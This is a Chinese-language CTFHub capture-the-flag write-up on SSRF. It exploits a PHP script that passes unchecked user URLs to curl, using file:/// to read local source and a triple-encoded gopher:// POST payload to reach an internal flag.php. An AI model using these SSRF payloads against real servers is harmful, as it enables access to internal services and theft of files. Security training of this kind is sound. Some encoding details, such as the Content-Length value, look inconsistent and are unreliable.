CTFHUB之gopher协议实现SSRF

介绍

解题思路：
利用302协议（重定向）的跳转ssrf。可以访问与服务器相连的内网

①什么是gopher协议

Gopher是Internet上一个信息查找系统，它将Internet上的文件组织成某种
索引，方便用户从Internet的一处带到另一处。在WWW出现之前，Gopher
是Internet上最主要的信息检索工具。使用tcp70端口。但在WWW出现
后，Gopher失去了昔日的辉煌。现在它基本过时，人们很少再使用它；
gopher协议支持发出GET、POST请求

②gopher协议适用条件

③使用步骤

结构： gopher://127.0.0.1:80/内容(比如POST请求)

其中内容可以是字符串，php代码，文件等。ip一般不用换，端口号要根据漏洞利用的环境更换。比如FASTCGI的9000端口

要点：
第一次编码要把所有的%0A换成%0D0A，后再进行两次编码
目标文件得有一些对应的利用功能，本题采用curl执行语句进行利用

CTFHUB SSRF题POST请求

访问/?url=127.0.0.1/flag.php得到flag.php源码。会发现有个框框。而且该框框输入数据会提示只能内网访问。

注意

题目提示的302文件是不存在的。而index文件存在。这是题目比较坑的地方

访问index.php

/?url=file:///var/www/html/index.php 访问index.php

以下是index.php源码,文中注释我自己加的。源码无注释！

<?php
error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();   //初始化一次curl对话，ch返回curl句柄
//curl_setopt为 cURL 会话句柄设置选项。 
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);    //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0);   //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   // 位掩码， 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时，什么情况下需要再次 HTTP POST 到重定向网址。  
curl_exec($ch);  //执行
curl_close($ch);

思路1

目前已知flag.php含有奇怪字符key，index.php能够接受url传参，并利用curl功能访问url传参的内容。那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包里是flag.php的key。那么就试一试吧

往index.php传入我们的payload

/?url=127.0.0.1:80/index.php?url=(gopher协议。传入post请求)

请求内网80端口的POST包

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

key=a074471dc0ef3956ab9dd46e708cca45

编码

3次编码post请求包，全部都编码噢，把上面的请求包所有代码复制进去这个在线url编码网站：http://ctf.ssleye.com/url.html

第一次编码：

第二次编码

把%0A全部替换成%0D%0A。小技巧：可以直接复制到word文档查找替换

第三次编码

最终得到的编码如下。可以自己对比看看

POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-
urlencoded%25250D%25250AContent-Length%25253A%2525207%25250D%25250A%25250D%25250Akey%25253Da074471dc0ef3956ab9dd46e708cca45

完整payload:

/?url=index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-
Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%2525207%25250D%25250A%25250D%25250Akey%25253Da074471dc0ef3956a
b9dd46e708cca45